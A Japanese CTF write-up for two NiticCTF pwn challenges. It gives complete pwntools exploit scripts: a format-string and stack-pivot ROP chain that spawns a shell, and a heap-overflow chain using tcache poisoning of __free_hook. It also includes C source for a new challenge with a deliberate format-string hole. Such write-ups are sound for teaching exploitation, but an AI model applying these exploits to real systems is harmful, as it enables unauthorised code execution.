NiticCTF Pwn Writeup
後日詳しい解説動画を作って上げようと思っているので、よかったらチャンネル登録よろしくお願いします!!!
VILLAGER Z
この問題にはFSBとreadを使っていることによる入力の最後にNULL終端がないという脆弱性があります。
これらを利用して以下の手順でシェルを取ります。
1. readの脆弱性を利用し、スタック上のスタックのアドレスのランダマイズ化に影響されない下位の部分を書き換えて、リターンアドレスが置かれている場所を指すようにする。(ランダマイズ化されない部分は3/2バイトですが、1バイト単位でしか書き換えられないので、1/2バイトの総当たりがあります)
書き換えた値を利用してFSBでリターンアドレスがcall vulnを指すよう変更し、もう一度vulnが呼ばれるようにする。
同時に FSBでアドレスをリークしておく。
2. ROPコードをスタック上に置き、FSBでリターン先をleave; retに変えてStack PivotをしてROPする。
from pwn import * libc = ELF('./libc.so.6') while True: p = remote('123.216.69.60', 4448) try: payload = b'%179p%35$hhn|%40$p|%41$p|%43$p|' payload += b'A' * (8 * 29 - len(payload)) + b'\x48' p.sendafter('Hello. What your name?\n', payload) leaks = p.recvuntil('A').split(b'|') stack_leak = int(leaks[1].decode(), 16) bin_leak = int(leaks[2].decode(), 16) libc.address = int(leaks[3].decode(), 16) + 0x7f3b0467b000 - 0x7f3b046a20b3 p.recvuntil('Hello. What your name?\n') pop_rdi = 0x26b72 pop_rsi = 0x27529 value1 = 0x35 value2 = (stack_leak & 0xffff) - 0x100 + 0x8 fsb_payload = f'%{value1}p%10$hhn%{value2 - value1}p%11$hn'.encode() fsb_payload += b'B' * (0x20 - len(fsb_payload)) fsb_payload += p64(stack_leak - 0x8) fsb_payload += p64(stack_leak - 0x10) rop_payload = p64(libc.address + pop_rdi) rop_payload += p64(next(libc.search(b'/bin/sh\x00'))) rop_payload += p64(libc.symbols['system']) payload = fsb_payload + rop_payload payload = payload + b'C' * (0x80 - len(payload)) p.send(payload) p.interactive() break except EOFError: p.close()
BABY_COMPRESS
この問題ではランレングス圧縮を利用して圧縮しています。
この圧縮方法では圧縮後のデータが圧縮前よりも大きくなる場合があります。
例えば、ABCDを圧縮するとA1B1C1D1になり、データが大きくなります。
この時、場合によってはheapoverflowが起こります。
オーバーフローするデータは自由に操作できないため、next chunkのサイズを変えることくらいしかできません。
これを利用して以下の手順でシェルを取ります。
1. サイズ書き換えを利用してチャンクオーバーラップをする。
2. オーバーラップされたチャンクを利用して、libcをリークする。
3. オーバーラップされたフリーチャンクを利用して、Tcache Poisoningをする。
from pwn import * context.log_level = 'debug' def add(index, content): p.sendlineafter('> ', '1') p.sendlineafter('index: ', str(index)) p.sendlineafter('Input content: ', content) def compress(index): p.sendlineafter('> ', '2') p.sendlineafter('index: ', str(index)) def decompress(index): p.sendlineafter('> ', '3') p.sendlineafter('index: ', str(index)) def clear(index): p.sendlineafter('> ', '4') p.sendlineafter('index: ', str(index)) def read(index): p.sendlineafter('> ', '5') p.sendlineafter('index: ', str(index)) content_length = p.recvline()[len('length: '):-1] content = p.recvline()[len('content: '):-1] return content_length, content breakpoints = [ '0x251c', '0x25d5', '0x2c4a', ] # p = process(['./chall']) p = remote('123.216.69.60', 4445) # Prepare tcache bins for metadata for i in range(7): add(i, 'A' * 0x28) for i in range(7): clear(i) # Chunk overlap data = 'CD' * 3 + '\x01' * 5 data = 'AABB' * ((0x38 - len(data)) // 4) + data add(0, data) add(1, '1' * 0x38) add(2, '2' * 0x38) add(3, '3' * 0x38) add(4, '4' * 0x38) compress(0) data = b''.join(p64(0x0) + p64(k * 0x10 + 1) for k in reversed(range(0x2, 0x16))) data += b'A' * (0x158 - len(data)) add(5, data) clear(1) # Libc leak add(6, '6' * 0x38) libc_leak = int.from_bytes(read(2)[1], 'little') free_hook = libc_leak + 0x7fbc32665b28 - 0x7fbc32662be0 system = libc_leak + 0x7fbc324cc410 - 0x7fbc32662be0 log.info('libc leak: ' + hex(libc_leak)) log.info('free_hook: ' + hex(free_hook)) log.info('system: ' + hex(system)) # Tcache poisoning clear(4) clear(3) data = b'7' * 8 * 7 + p64(0x41) + p64(free_hook) data += b'7' * (0x58 - len(data)) add(7, data) data = '/bin/sh\x00' data += 'A' * (0x38 - len(data)) add(8, data) data = p64(system) data += b'\x00' * (0x38 - len(data)) add(9, data) clear(8) p.interactive()
VILLAGER Z 改
Zと名乗ってる割にはぬるすぎると思い、限界まで制限つけたVILLAGER Z 改を作ったのでぜひ挑戦してみてください!!!
環境: glibc 2.31
gcc ./Villager\ Z.c -o Villager\ Z
ファイルシステム側から/dev/nullを別のものに変えるとかはなしでお願いします。普通のpwnです。
#include <stdio.h> #define SIZE 0x100 void forget(char buffer[]) { printf("Ok I'll repeat what you've said.\n"); fprintf(stderr, buffer); printf("Oh no! I can't remember! I've lost all my memories!!!\n"); } void listen() { char buffer[SIZE]; fgets(buffer, SIZE, stdin); forget(buffer); } void converse() { printf("I've been so forgetful recently...\n"); printf("Anything you want me to remember?\n"); listen(); } void init() { freopen("/dev/null", "w", stderr); setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } int main() { init(); converse(); }